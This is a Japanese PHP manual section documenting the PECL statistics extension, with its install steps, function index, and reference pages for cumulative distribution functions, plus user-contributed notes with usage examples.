統計用の拡張モジュールです。統計計算のために有用な関数を、 何十個も含んでいます。この拡張モジュールは、B. Brown & J. Lavato の DCDFLIB (Library of C routines for Cumulative Distributions Functions, Inverses, and Other parameters) および Barry Brown, James Lavato & Kathy Russell の RANDLIB という 2 つの科学ライブラリのラッパーです。 CD 関数および PD 関数を含みます。

User Contributed Notes

There are no user contributed notes for this page.


インストール/設定

目次

  • 要件
  • インストール手順
  • 実行時設定
  • リソース型

User Contributed Notes

crashulater at virtualcrash dot com 14-May-2018 09:12
example INSTALL
$ zcat php-stats-1.0.5.tar.gz | tar -xvf -
$ cd stats-1.0.5
$ phpize
$ ./configure --prefix=/usr --with-libdir=/usr/lib64 --with-php-config=/usr/bin/php-config
$ make
$ make test
# make install
# vi /etc/php.d/stats.ini
; Enable Statistical extension module
extension=stats.so
# /etc/init.d/httpd restart


要件

外部ライブラリは不要です。使用するライブラリは、 この拡張モジュールにバンドルされています。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この » PECL 拡張 モジュールは PHP にバンドルされていません。

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/stats.

この PECL 拡張モジュールの DLL は、現在存在しません。 Windows でのビルド も参照ください

User Contributed Notes

There are no user contributed notes for this page.


統計 関数

目次

  • stats_absolute_deviation — 値の配列の絶対偏差を返す
  • stats_cdf_beta — ベータ分布のパラメータのいずれかを、その他のパラメータの値から計算する
  • stats_cdf_binomial — 二項分布のパラメータのいずれかを、その他のパラメータの値から計算する
  • stats_cdf_cauchy — コーシー分布のパラメータのいずれかを、その他のパラメータの値から計算する
  • stats_cdf_chisquare — カイ二乗分布のパラメータのいずれかを、その他のパラメータの値から計算する
  • stats_cdf_exponential — 指数分布のパラメータのいずれかを、その他のパラメータの値から計算する
  • stats_cdf_f — F 分布のパラメータのいずれかを、その他のパラメータの値から計算する
  • stats_cdf_gamma — ガンマ分布のパラメータのいずれかを、その他のパラメータの値から計算する
  • stats_cdf_laplace — ラプラス分布のパラメータのいずれかを、その他のパラメータの値から計算する
  • stats_cdf_logistic — ロジスティック分布のパラメータのいずれかを、その他のパラメータの値から計算する
  • stats_cdf_negative_binomial — 負の二項分布のパラメータのいずれかを、その他のパラメータの値から計算する
  • stats_cdf_noncentral_chisquare — 非心カイ二乗分布のパラメータのいずれかを、その他のパラメータの値から計算する
  • stats_cdf_noncentral_f — 非心 F 分布のパラメータのいずれかを、その他のパラメータの値から計算する
  • stats_cdf_noncentral_t — 非心 t 分布のパラメータのいずれかを、その他のパラメータの値から計算する
  • stats_cdf_normal — 正規分布のパラメータのいずれかを、その他のパラメータの値から計算する
  • stats_cdf_poisson — ポアソン分布のパラメータのいずれかを、その他のパラメータの値から計算する
  • stats_cdf_t — t 分布のパラメータのいずれかを、その他のパラメータの値から計算する
  • stats_cdf_uniform — 一様分布のパラメータのいずれかを、その他のパラメータの値から計算する
  • stats_cdf_weibull — ワイブル分布のパラメータのいずれかを、その他のパラメータの値から計算する
  • stats_covariance — ふたつのデータセットの共分散を計算する
  • stats_dens_beta — ベータ分布の確率密度関数
  • stats_dens_cauchy — コーシー分布の確率密度関数
  • stats_dens_chisquare — カイ二乗分布の確率密度関数
  • stats_dens_exponential — 指数分布の確率密度関数
  • stats_dens_f — F 分布の確率密度関数
  • stats_dens_gamma — ガンマ分布の確率密度関数
  • stats_dens_laplace — ラプラス分布の確率密度関数
  • stats_dens_logistic — ロジスティック分布の確率密度関数
  • stats_dens_normal — 正規分布の確率密度関数
  • stats_dens_pmf_binomial — 二項分布の確率質量関数
  • stats_dens_pmf_hypergeometric — 超幾何分布の確率質量関数
  • stats_dens_pmf_negative_binomial — 負の二項分布の確率質量関数
  • stats_dens_pmf_poisson — ポアソン分布の確率質量関数
  • stats_dens_t — t 分布の確率密度関数
  • stats_dens_uniform — 一様分布の確率密度関数
  • stats_dens_weibull — ワイブル分布の確率密度関数
  • stats_harmonic_mean — 値の配列の調和平均を返す
  • stats_kurtosis — 配列内のデータの尖度を計算する
  • stats_rand_gen_beta — ベータ分布から無作為な値を生成する
  • stats_rand_gen_chisquare — カイ二乗分布から無作為な値を生成する
  • stats_rand_gen_exponential — 指数分布から無作為な値を生成する
  • stats_rand_gen_f — F 分布から無作為な値を生成する
  • stats_rand_gen_funiform — low (それ自身は含まない) と high (それ自身は含まない) の間の一様な浮動小数点数値を生成する
  • stats_rand_gen_gamma — ガンマ分布から無作為な値を生成する
  • stats_rand_gen_ibinomial_negative — 負の二項分布から無作為な値を生成する
  • stats_rand_gen_ibinomial — 二項分布から無作為な値を生成する
  • stats_rand_gen_int — 1 から 2147483562 までの間の無作為な整数値を生成する
  • stats_rand_gen_ipoisson — ポアソン分布から無作為な値を生成する
  • stats_rand_gen_iuniform — LOW (それ自身を含む) と HIGH (それ自身を含む) の間の一様分布から整数値を生成する
  • stats_rand_gen_noncentral_chisquare — 非心カイ二乗分布から無作為な値を生成する
  • stats_rand_gen_noncentral_f — 非心 F 分布から無作為な値を生成する
  • stats_rand_gen_noncentral_t — 非心 t 分布から無作為な値を生成する
  • stats_rand_gen_normal — 正規分布から無作為な値を生成する
  • stats_rand_gen_t — t 分布から無作為な値を生成する
  • stats_rand_get_seeds — 乱数生成器のシードを取得する
  • stats_rand_phrase_to_seeds — 乱数ジェネレータ用のふたつのシードを生成する
  • stats_rand_ranf — 0 から 1 までの無作為な浮動小数点数を生成する
  • stats_rand_setall — 乱数生成器のシードを設定する
  • stats_skew — 配列内のデータの歪度を計算する
  • stats_standard_deviation — 標準偏差を返す
  • stats_stat_binomial_coef — 二項係数を返す
  • stats_stat_correlation — ふたつのデータセットに対するピアソンの相関係数を返す
  • stats_stat_factorial — 整数値の階乗を返す
  • stats_stat_independent_t — 独立二群の t 検定値を返す
  • stats_stat_innerproduct — ふたつのベクトルの内積を返す
  • stats_stat_paired_t — 対応のある二群の t 検定値を返す
  • stats_stat_percentile — パーセンタイル値を返す
  • stats_stat_powersum — ベクトルのべき乗和を返す
  • stats_variance — 分散を返す

User Contributed Notes

Anonymous 07-May-2013 03:09
The source code actually has much more complete documentation (more functions, a better description of what they do, and parameters). You can see the latest here:
http://svn.php.net/viewvc/pecl/stats/trunk/

Notably, try clicking the latest revision number for php_stats.c
oliver at realtsp dot com 25-Jul-2008 01:17
There are some undocumented functions in this extension, eg I found the following by reading the DCDFLIB docs and some trial and error:

<?php

/**
 * stats_cdf_normal($x, $mean, $sd, 1)
 * @return float cumulative probablity
 */
echo stats_cdf_normal(1.96, 0, 1, 1) . "\n";

/**
 * stats_cdf_normal($p, $mean, $sd, 1)
 * @return float x which bounds cumulative probalility $p
 */
echo stats_cdf_normal(0.975, 0, 1, 2) . "\n";

// less useful
// echo stats_cdf_normal(0.4,0.5,0.6,3) . "\n";
// echo stats_cdf_normal(0.4,0.5,0.6,4) . "\n";
?>


値の配列の絶対偏差を返す

  • ≪ 統計 関数
  • stats_cdf_beta ≫
  • PHP Manual
  • 統計 関数
  • 値の配列の絶対偏差を返す

stats_absolute_deviation

(PECL stats >= 1.0.0)

stats_absolute_deviation — 値の配列の絶対偏差を返す

説明

stats_absolute_deviation ( array $a ) : float

a に含まれる値の絶対偏差を返します。

パラメータ

a

入力配列

返り値

a に含まれる値の絶対偏差。 a が空の場合、または、配列ではない場合は false を返します。

User Contributed Notes

There are no user contributed notes for this page.


ベータ分布のパラメータのいずれかを、その他のパラメータの値から計算する

  • ≪ stats_absolute_deviation
  • stats_cdf_binomial ≫
  • PHP Manual
  • 統計 関数
  • ベータ分布のパラメータのいずれかを、その他のパラメータの値から計算する

stats_cdf_beta

(PECL stats >= 1.0.0)

stats_cdf_beta — ベータ分布のパラメータのいずれかを、その他のパラメータの値から計算する

説明

stats_cdf_beta ( float $par1 , float $par2 , float $par3 , int $which ) : float

ベータ分布の累積分布関数、その逆関数、またはパラメータのいずれかを戻します。 戻り値の種類とパラメータ (par1, par2, par3) は which によって決められます。

次の表は、which ごとの戻り値とパラメータを示したものです。 CDF, x, alpha, beta は、この順に、ベータ分布の累積分布関数、確率変数、形状母数を表します。

戻り値とパラメータ
which | 戻り値 | par1 | par2 | par3
1 | CDF | x | alpha | beta
2 | x | CDF | alpha | beta
3 | alpha | x | CDF | beta
4 | beta | x | CDF | alpha

パラメータ

par1

第一引数

par2

第二引数

par3

第三引数

which

計算される値を決めるフラグ

返り値

which によって決まる、CDF, x, alpha, beta のいずれかの値を戻します。

User Contributed Notes

n15m0_jk 21-Sep-2016 08:23
Decided to dive into the source code and provide a simple explanation:

Parameters:
int $which - Select which parameter to use in the CDF Binomial calculation, based on what the prior 3 parameters are.

where $which is 4:
$arg1 = p
$arg2 = sn
$arg3 = xn
returns pr

$which = 3
$arg1 = p
$arg2 = sn
$arg3 = pr
returns xn

$which = 2
$arg1 = p
$arg2 = xn
$arg3 = pr
returns sn

$which = 1
$arg1 = sn
$arg2 = xn
$arg3 = pr
returns p
Anonymous 30-Dec-2009 12:29
Additional Notes, taken from source.
 WHICH --> Integer indicating which of the next four argument
       values is to be calculated from the others.
     Legal range: 1..4
     iwhich = 1 : Calculate P and Q from X,Y,A and B
     iwhich = 2 : Calculate X and Y from P,Q,A and B
     iwhich = 3 : Calculate A from P,Q,X,Y and B
     iwhich = 4 : Calculate B from P,Q,X,Y and A

     P <--> The integral from 0 to X of the chi-square
     distribution.
     Input range: [0, 1].

     Q <--> 1-P.
     Input range: [0, 1].
     P + Q = 1.0.

     X <--> Upper limit of integration of beta density.
     Input range: [0,1].
     Search range: [0,1]

     Y <--> 1-X.
     Input range: [0,1].
     Search range: [0,1]
     X + Y = 1.0.

     A <--> The first parameter of the beta density.
     Input range: (0, +infinity).
     Search range: [1D-100,1D100]

     B <--> The second parameter of the beta density.
     Input range: (0, +infinity).
     Search range: [1D-100,1D100]


二項分布のパラメータのいずれかを、その他のパラメータの値から計算する

  • ≪ stats_cdf_beta
  • stats_cdf_cauchy ≫
  • PHP Manual
  • 統計 関数
  • 二項分布のパラメータのいずれかを、その他のパラメータの値から計算する

stats_cdf_binomial

(PECL stats >= 1.0.0)

stats_cdf_binomial — 二項分布のパラメータのいずれかを、その他のパラメータの値から計算する

説明

stats_cdf_binomial ( float $par1 , float $par2 , float $par3 , int $which ) : float

二項分布の累積分布関数、その逆関数、またはパラメータのいずれかを戻します。 戻り値の種類とパラメータ (par1, par2, par3) は which によって決められます。

次の表は、which ごとの戻り値とパラメータを示したものです。 CDF, x, n, p は、この順に、二項分布の累積分布関数、成功回数、試行回数、各試行での成功確率を表します。

戻り値とパラメータ
which | 戻り値 | par1 | par2 | par3
1 | CDF | x | n | p
2 | x | CDF | n | p
3 | n | x | CDF | p
4 | p | x | CDF | n

パラメータ

par1

第一引数

par2

第二引数

par3

第三引数

which

計算される値を決めるフラグ

返り値

which によって決まる、CDF, x, n, p のいずれかの値を戻します。

User Contributed Notes

PCH 14-Aug-2015 07:05
Calculates any one parameter of the binomial
     distribution given values for the others.

                              Arguments

     WHICH --> Integer indicating which of the next four argument
               values is to be calculated from the others.
               Legal range: 1..4
               iwhich = 1 : Calculate P and Q from S,XN,PR and OMPR
               iwhich = 2 : Calculate S from P,Q,XN,PR and OMPR
               iwhich = 3 : Calculate XN from P,Q,S,PR and OMPR
               iwhich = 4 : Calculate PR and OMPR from P,Q,S and XN

     P <--> The cumulation from 0 to S of the binomial distribution.
            (Probablility of S or fewer successes in XN trials each
            with probability of success PR.)
            Input range: [0,1].

     Q <--> 1-P.
            Input range: [0, 1].
            P + Q = 1.0.

     S <--> The number of successes observed.
            Input range: [0, XN]
            Search range: [0, XN]

     XN  <--> The number of binomial trials.
              Input range: (0, +infinity).
              Search range: [1E-100, 1E100]

     PR  <--> The probability of success in each binomial trial.
              Input range: [0,1].
              Search range: [0,1]

     OMPR  <--> 1-PR
              Input range: [0,1].
              Search range: [0,1]
              PR + OMPR = 1.0

     STATUS <-- 0 if calculation completed correctly
               -I if input parameter number I is out of range
                1 if answer appears to be lower than lowest
                  search bound
                2 if answer appears to be higher than greatest
                  search bound
                3 if P + Q .ne. 1
                4 if PR + OMPR .ne. 1

     BOUND <-- Undefined if STATUS is 0

               Bound exceeded by parameter number I if STATUS
               is negative.

               Lower search bound if STATUS is 1.

               Upper search bound if STATUS is 2.


コーシー分布のパラメータのいずれかを、その他のパラメータの値から計算する

  • ≪ stats_cdf_binomial
  • stats_cdf_chisquare ≫
  • PHP Manual
  • 統計 関数
  • コーシー分布のパラメータのいずれかを、その他のパラメータの値から計算する

stats_cdf_cauchy

(PECL stats >= 1.0.0)

stats_cdf_cauchy — コーシー分布のパラメータのいずれかを、その他のパラメータの値から計算する

説明

stats_cdf_cauchy ( float $par1 , float $par2 , float $par3 , int $which ) : float

コーシー分布の累積分布関数、その逆関数、またはパラメータのいずれかを戻します。 戻り値の種類とパラメータ (par1, par2, par3) は which によって決められます。

次の表は、which ごとの戻り値とパラメータを示したものです。 CDF, x, x0, gamma は、この順に、コーシー分布の累積分布関数、確率変数、位置母数、尺度母数を表します。

戻り値とパラメータ
which | 戻り値 | par1 | par2 | par3
1 | CDF | x | x0 | gamma
2 | x | CDF | x0 | gamma
3 | x0 | x | CDF | gamma
4 | gamma | x | CDF | x0

パラメータ

par1

第一引数

par2

第二引数

par3

第三引数

which

計算される値を決めるフラグ

返り値

which によって決まる、CDF, x, x0, gamma のいずれかの値を戻します。

User Contributed Notes

There are no user contributed notes for this page.


カイ二乗分布のパラメータのいずれかを、その他のパラメータの値から計算する

  • ≪ stats_cdf_cauchy
  • stats_cdf_exponential ≫
  • PHP Manual
  • 統計 関数
  • カイ二乗分布のパラメータのいずれかを、その他のパラメータの値から計算する

stats_cdf_chisquare

(PECL stats >= 1.0.0)

stats_cdf_chisquare — カイ二乗分布のパラメータのいずれかを、その他のパラメータの値から計算する

説明

stats_cdf_chisquare ( float $par1 , float $par2 , int $which ) : float

カイ二乗分布の累積分布関数、その逆関数、またはパラメータのいずれかを戻します。 戻り値の種類とパラメータ (par1, par2) は which によって決められます。

次の表は、which ごとの戻り値とパラメータを示したものです。 CDF, x, k は、この順に、カイ二乗分布の累積分布関数、確率変数、自由度を表します。

戻り値とパラメータ
which | 戻り値 | par1 | par2
1 | CDF | x | k
2 | x | CDF | k
3 | k | x | CDF

パラメータ

par1

第一引数

par2

第二引数

which

計算される値を決めるフラグ

返り値

which によって決まる、CDF, x, k のいずれかの値を戻します。

User Contributed Notes

There are no user contributed notes for this page.


指数分布のパラメータのいずれかを、その他のパラメータの値から計算する

  • ≪ stats_cdf_chisquare
  • stats_cdf_f ≫
  • PHP Manual
  • 統計 関数
  • 指数分布のパラメータのいずれかを、その他のパラメータの値から計算する

stats_cdf_exponential

(PECL stats >= 1.0.0)

stats_cdf_exponential — 指数分布のパラメータのいずれかを、その他のパラメータの値から計算する

説明

stats_cdf_exponential ( float $par1 , float $par2 , int $which ) : float

指数分布の累積分布関数、その逆関数、またはパラメータのいずれかを戻します。 戻り値の種類とパラメータ (par1, par2) は which によって決められます。

以下の表は、 which パラメータと戻り値の一覧です。 CDF, x, そして lambda はそれぞれ、累積分布関数、ランダムな変数の値、そして 指数分布の rate パラメータを表しています。

戻り値とパラメータ
which | 戻り値 | par1 | par2
1 | CDF | x | lambda
2 | x | CDF | lambda
3 | lambda | x | CDF

パラメータ

par1

第一引数

par2

第二引数

which

計算される値を決めるフラグ

返り値

which によって決まる、CDF, x, lambda のいずれかの値を戻します。

User Contributed Notes

There are no user contributed notes for this page.


F 分布のパラメータのいずれかを、その他のパラメータの値から計算する

  • ≪ stats_cdf_exponential
  • stats_cdf_gamma ≫
  • PHP Manual
  • 統計 関数
  • F 分布のパラメータのいずれかを、その他のパラメータの値から計算する

stats_cdf_f

(PECL stats >= 1.0.0)

stats_cdf_f — F 分布のパラメータのいずれかを、その他のパラメータの値から計算する

説明

stats_cdf_f ( float $par1 , float $par2 , float $par3 , int $which ) : float

F 分布の累積分布関数、その逆関数、またはパラメータのいずれかを戻します。 戻り値の種類とパラメータ (par1, par2, par3) は which によって決められます。

次の表は、which ごとの戻り値とパラメータを示したものです。 CDF, x, d1, d2 は、この順に、F 分布の累積分布関数、確率変数、自由度を表します。

戻り値とパラメータ
which | 戻り値 | par1 | par2 | par3
1 | CDF | x | d1 | d2
2 | x | CDF | d1 | d2
3 | d1 | x | CDF | d2
4 | d2 | x | CDF | d1

パラメータ

par1

第一引数

par2

第二引数

par3

第三引数

which

計算される値を決めるフラグ

返り値

which によって決まる、CDF, x, d1, d2 のいずれかの値を戻します。

User Contributed Notes

There are no user contributed notes for this page.


ガンマ分布のパラメータのいずれかを、その他のパラメータの値から計算する

  • ≪ stats_cdf_f
  • stats_cdf_laplace ≫
  • PHP Manual
  • 統計 関数
  • ガンマ分布のパラメータのいずれかを、その他のパラメータの値から計算する

stats_cdf_gamma

(PECL stats >= 1.0.0)

stats_cdf_gamma — ガンマ分布のパラメータのいずれかを、その他のパラメータの値から計算する

説明

stats_cdf_gamma ( float $par1 , float $par2 , float $par3 , int $which ) : float

ガンマ分布の累積分布関数、その逆関数、またはパラメータのいずれかを戻します。 戻り値の種類とパラメータ (par1, par2, par3) は which によって決められます。

次の表は、which ごとの戻り値とパラメータを示したものです。 CDF, x, k, theta は、この順に、ガンマ分布の累積分布関数、確率変数、形状母数、尺度母数を表します。

戻り値とパラメータ
which | 戻り値 | par1 | par2 | par3
1 | CDF | x | k | theta
2 | x | CDF | k | theta
3 | k | x | CDF | theta
4 | theta | x | CDF | k

パラメータ

par1

第一引数

par2

第二引数

par3

第三引数

which

計算される値を決めるフラグ

返り値

which によって決まる、CDF, x, k, theta のいずれかの値を戻します。

User Contributed Notes

There are no user contributed notes for this page.


ラプラス分布のパラメータのいずれかを、その他のパラメータの値から計算する

  • ≪ stats_cdf_gamma
  • stats_cdf_logistic ≫
  • PHP Manual
  • 統計 関数
  • ラプラス分布のパラメータのいずれかを、その他のパラメータの値から計算する

stats_cdf_laplace

(PECL stats >= 1.0.0)

stats_cdf_laplace — ラプラス分布のパラメータのいずれかを、その他のパラメータの値から計算する

説明

stats_cdf_laplace ( float $par1 , float $par2 , float $par3 , int $which ) : float

ラプラス分布の累積分布関数、その逆関数、またはパラメータのいずれかを戻します。 戻り値の種類とパラメータ (par1, par2, par3) は which によって決められます。

次の表は、which ごとの戻り値とパラメータを示したものです。 CDF, x, mu, b は、この順に、ラプラス分布の累積分布関数、確率変数、位置母数、尺度母数を表します。

戻り値とパラメータ
which | 戻り値 | par1 | par2 | par3
1 | CDF | x | mu | b
2 | x | CDF | mu | b
3 | mu | x | CDF | b
4 | b | x | CDF | mu

パラメータ

par1

第一引数

par2

第二引数

par3

第三引数

which

計算される値を決めるフラグ

返り値

which によって決まる、CDF, x, mu, b のいずれかの値を戻します。

User Contributed Notes

There are no user contributed notes for this page.


ロジスティック分布のパラメータのいずれかを、その他のパラメータの値から計算する

  • ≪ stats_cdf_laplace
  • stats_cdf_negative_binomial ≫
  • PHP Manual
  • 統計 関数
  • ロジスティック分布のパラメータのいずれかを、その他のパラメータの値から計算する

stats_cdf_logistic

(PECL stats >= 1.0.0)

stats_cdf_logistic — ロジスティック分布のパラメータのいずれかを、その他のパラメータの値から計算する

説明

stats_cdf_logistic ( float $par1 , float $par2 , float $par3 , int $which ) : float

ロジスティック分布の累積分布関数、その逆関数、またはパラメータのいずれかを戻します。 戻り値の種類とパラメータ (par1, par2, par3) は which によって決められます。

次の表は、which ごとの戻り値とパラメータを示したものです。 CDF, x, mu, s は、この順に、ロジスティック分布の累積分布関数、確率変数、位置母数、尺度母数を表します。

戻り値とパラメータ
which | 戻り値 | par1 | par2 | par3
1 | CDF | x | mu | s
2 | x | CDF | mu | s
3 | mu | x | CDF | s
4 | s | x | CDF | mu

パラメータ

par1

第一引数

par2

第二引数

par3

第三引数

which

計算される値を決めるフラグ

返り値

which によって決まる、CDF, x, mu, s のいずれかの値を戻します。

User Contributed Notes

There are no user contributed notes for this page.


負の二項分布のパラメータのいずれかを、その他のパラメータの値から計算する

  • ≪ stats_cdf_logistic
  • stats_cdf_noncentral_chisquare ≫
  • PHP Manual
  • 統計 関数
  • 負の二項分布のパラメータのいずれかを、その他のパラメータの値から計算する

stats_cdf_negative_binomial

(PECL stats >= 1.0.0)

stats_cdf_negative_binomial — 負の二項分布のパラメータのいずれかを、その他のパラメータの値から計算する

説明

stats_cdf_negative_binomial ( float $par1 , float $par2 , float $par3 , int $which ) : float

負の二項分布の累積分布関数、その逆関数、またはパラメータのいずれかを戻します。 戻り値の種類とパラメータ (par1, par2, par3) は which によって決められます。

次の表は、which ごとの戻り値とパラメータを示したものです。 CDF, x, k, lambda は、この順に、負の二項分布の累積分布関数、成功回数、試行回数、各試行での成功確率を表します。

戻り値とパラメータ
which | 戻り値 | par1 | par2 | par3
1 | CDF | x | r | p
2 | x | CDF | r | p
3 | r | x | CDF | p
4 | p | x | CDF | r

パラメータ

par1

第一引数

par2

第二引数

par3

第三引数

which

計算される値を決めるフラグ

返り値

which によって決まる、CDF, x, r, p のいずれかの値を戻します。

User Contributed Notes

There are no user contributed notes for this page.


非心カイ二乗分布のパラメータのいずれかを、その他のパラメータの値から計算する

  • ≪ stats_cdf_negative_binomial
  • stats_cdf_noncentral_f ≫
  • PHP Manual
  • 統計 関数
  • 非心カイ二乗分布のパラメータのいずれかを、その他のパラメータの値から計算する

stats_cdf_noncentral_chisquare

(PECL stats >= 1.0.0)

stats_cdf_noncentral_chisquare — 非心カイ二乗分布のパラメータのいずれかを、その他のパラメータの値から計算する

説明

stats_cdf_noncentral_chisquare ( float $par1 , float $par2 , float $par3 , int $which ) : float

非心カイ二乗分布の累積分布関数、その逆関数、またはパラメータのいずれかを戻します。 戻り値の種類とパラメータ (par1, par2, par3) は which によって決められます。

次の表は、which ごとの戻り値とパラメータを示したものです。 CDF, x, k, lambda は、この順に、非心カイ二乗分布の累積分布関数、確率変数、自由度、非心度を表します。

戻り値とパラメータ
which | 戻り値 | par1 | par2 | par3
1 | CDF | x | k | lambda
2 | x | CDF | k | lambda
3 | k | x | CDF | lambda
4 | lambda | x | CDF | k

パラメータ

par1

第一引数

par2

第二引数

par3

第三引数

which

計算される値を決めるフラグ

返り値

which によって決まる、CDF, x, k, lambda のいずれかの値を戻します。

User Contributed Notes

There are no user contributed notes for this page.


非心 F 分布のパラメータのいずれかを、その他のパラメータの値から計算する

  • ≪ stats_cdf_noncentral_chisquare
  • stats_cdf_noncentral_t ≫
  • PHP Manual
  • 統計 関数
  • 非心 F 分布のパラメータのいずれかを、その他のパラメータの値から計算する

stats_cdf_noncentral_f

(PECL stats >= 1.0.0)

stats_cdf_noncentral_f — 非心 F 分布のパラメータのいずれかを、その他のパラメータの値から計算する

説明

stats_cdf_noncentral_f ( float $par1 , float $par2 , float $par3 , float $par4 , int $which ) : float

非心 F 分布の累積分布関数、その逆関数、またはパラメータのいずれかを戻します。 戻り値の種類とパラメータ (par1, par2, par3, par4) は which によって決められます。

次の表は、which ごとの戻り値とパラメータを示したものです。 CDF, x, nu1, nu2, lambda は、この順に、非心 F 分布の累積分布関数、確率変数、自由度、非心度を表します。

戻り値とパラメータ
which | 戻り値 | par1 | par2 | par3 | par4
1 | CDF | x | nu1 | nu2 | lambda
2 | x | CDF | nu1 | nu2 | lambda
3 | nu1 | x | CDF | nu2 | lambda
4 | nu2 | x | CDF | nu1 | lambda
5 | lambda | x | CDF | nu1 | nu2

パラメータ

par1

第一引数

par2

第二引数

par3

第三引数

par4

第四引数

which

計算される値を決めるフラグ

返り値

which によって決まる、CDF, x, nu1, nu2, lambda のいずれかの値を戻します。

User Contributed Notes

There are no user contributed notes for this page.


非心 t 分布のパラメータのいずれかを、その他のパラメータの値から計算する

  • ≪ stats_cdf_noncentral_f
  • stats_cdf_normal ≫
  • PHP Manual
  • 統計 関数
  • 非心 t 分布のパラメータのいずれかを、その他のパラメータの値から計算する

stats_cdf_noncentral_t

(PECL stats >= 1.0.0)

stats_cdf_noncentral_t — 非心 t 分布のパラメータのいずれかを、その他のパラメータの値から計算する

説明

stats_cdf_noncentral_t ( float $par1 , float $par2 , float $par3 , int $which ) : float

非心 t 分布の累積分布関数、その逆関数、またはパラメータのいずれかを戻します。 戻り値の種類とパラメータ (par1, par2, par3) は which によって決められます。

次の表は、which ごとの戻り値とパラメータを示したものです。 CDF, x, nu, mu は、この順に、非心 t 分布の累積分布関数、確率変数、自由度、非心度を表します。

戻り値とパラメータ
which | 戻り値 | par1 | par2 | par3
1 | CDF | x | nu | mu
2 | x | CDF | nu | mu
3 | nu | x | CDF | mu
4 | mu | x | CDF | nu

パラメータ

par1

第一引数

par2

第二引数

par3

第三引数

which

計算される値を決めるフラグ

返り値

which によって決まる、CDF, x, nu, mu のいずれかの値を戻します。

User Contributed Notes

There are no user contributed notes for this page.


正規分布のパラメータのいずれかを、その他のパラメータの値から計算する

  • ≪ stats_cdf_noncentral_t
  • stats_cdf_poisson ≫
  • PHP Manual
  • 統計 関数
  • 正規分布のパラメータのいずれかを、その他のパラメータの値から計算する

stats_cdf_normal

(PECL stats >= 1.0.0)

stats_cdf_normal — 正規分布のパラメータのいずれかを、その他のパラメータの値から計算する

説明

stats_cdf_normal ( float $par1 , float $par2 , float $par3 , int $which ) : float

正規分布の累積分布関数、その逆関数、またはパラメータのいずれかを戻します。 戻り値の種類とパラメータ (par1, par2, par3) は which によって決められます。

次の表は、which ごとの戻り値とパラメータを示したものです。 CDF, x, mu, sigma は、この順に、正規分布の累積分布関数、確率変数、平均、標準偏差を表します。

戻り値とパラメータ
which | 戻り値 | par1 | par2 | par3
1 | CDF | x | mu | sigma
2 | x | CDF | mu | sigma
3 | mu | x | CDF | sigma
4 | sigma | x | CDF | mu

パラメータ

par1

第一引数

par2

第二引数

par3

第三引数

which

計算される値を決めるフラグ

返り値

which によって決まる、CDF, x, mu, sigma のいずれかの値を戻します。

User Contributed Notes

There are no user contributed notes for this page.


ポアソン分布のパラメータのいずれかを、その他のパラメータの値から計算する

  • ≪ stats_cdf_normal
  • stats_cdf_t ≫
  • PHP Manual
  • 統計 関数
  • ポアソン分布のパラメータのいずれかを、その他のパラメータの値から計算する

stats_cdf_poisson

(PECL stats >= 1.0.0)

stats_cdf_poisson — ポアソン分布のパラメータのいずれかを、その他のパラメータの値から計算する

説明

stats_cdf_poisson ( float $par1 , float $par2 , int $which ) : float

ポアソン分布の累積分布関数、その逆関数、またはパラメータのいずれかを戻します。 戻り値の種類とパラメータ (par1, par2) は which によって決められます。

次の表は、which ごとの戻り値とパラメータを示したものです。 CDF, x, lambda は、この順に、ポアソン分布の累積分布関数、確率変数、母数を表します。

戻り値とパラメータ
which | 戻り値 | par1 | par2
1 | CDF | x | lambda
2 | x | CDF | lambda
3 | lambda | x | CDF

パラメータ

par1

第一引数

par2

第二引数

which

計算される値を決めるフラグ

返り値

which によって決まる、CDF, x, lambda のいずれかの値を戻します。

User Contributed Notes

s at nder dot com 23-Nov-2012 09:33
A simple poisson-distribution function, which only works for relatively small numbers (maximum of ~100/100 for most systems):

<?php

function factorial($number)
{
        if ($number < 2) {
                return 1;
        } else {
                return ($number * factorial($number-1));
        }
}

function poisson($chance, $occurrence)
{
        $e = exp(1);

        $a = pow($e, (-1 * $chance));
        $b = pow($chance,$occurrence);
        $c = factorial($occurrence);

        return $a * $b / $c;
}

$test = poisson(100,100);
echo $test . "\n";

?>


t 分布のパラメータのいずれかを、その他のパラメータの値から計算する

  • ≪ stats_cdf_poisson
  • stats_cdf_uniform ≫
  • PHP Manual
  • 統計 関数
  • t 分布のパラメータのいずれかを、その他のパラメータの値から計算する

stats_cdf_t

(PECL stats >= 1.0.0)

stats_cdf_t — t 分布のパラメータのいずれかを、その他のパラメータの値から計算する

説明

stats_cdf_t ( float $par1 , float $par2 , int $which ) : float

t 分布の累積分布関数、その逆関数、またはパラメータのいずれかを戻します。 戻り値の種類とパラメータ (par1, par2) は which によって決められます。

次の表は、which ごとの戻り値とパラメータを示したものです。 CDF, x, nu は、この順に、t 分布の累積分布関数、確率変数、自由度を表します。

戻り値とパラメータ
which | 戻り値 | par1 | par2
1 | CDF | x | nu
2 | x | CDF | nu
3 | nu | x | CDF

パラメータ

par1

第一引数

par2

第二引数

which

計算される値を決めるフラグ

返り値

which によって決まる、CDF, x, nu のいずれかの値を戻します。

User Contributed Notes

Anonymous 12-Apr-2012 07:30
Input  and return values of stats_cdf_t depends on the $which-parameter:
<?php
function get_t_p($t, $df){
  return stats_cdf_t($t, $df, 1);
}
function get_t_t($p, $df){
  return stats_cdf_t($p, $df, 2);
}
function get_t_df($p, $t){
  return stats_cdf_t($p, $t, 3);
}
?>
Brian 14-Oct-2010 02:14
In order to match the output of this function with Excel's TDIST function, you must take 1 - the value.  For example, for a two-tailed T-distribution for x=4 and degrees of freedom=2, the formula would be:

(1 - stats_cdf_t(4, 2, 1)) * 2

For a single tail, do not include the multiply by 2 portion.


一様分布のパラメータのいずれかを、その他のパラメータの値から計算する

  • ≪ stats_cdf_t
  • stats_cdf_weibull ≫
  • PHP Manual
  • 統計 関数
  • 一様分布のパラメータのいずれかを、その他のパラメータの値から計算する

stats_cdf_uniform

(PECL stats >= 1.0.0)

stats_cdf_uniform — 一様分布のパラメータのいずれかを、その他のパラメータの値から計算する

説明

stats_cdf_uniform ( float $par1 , float $par2 , float $par3 , int $which ) : float

一様分布の累積分布関数、その逆関数、またはパラメータのいずれかを戻します。 戻り値の種類とパラメータ (par1, par2, par3) は which によって決められます。

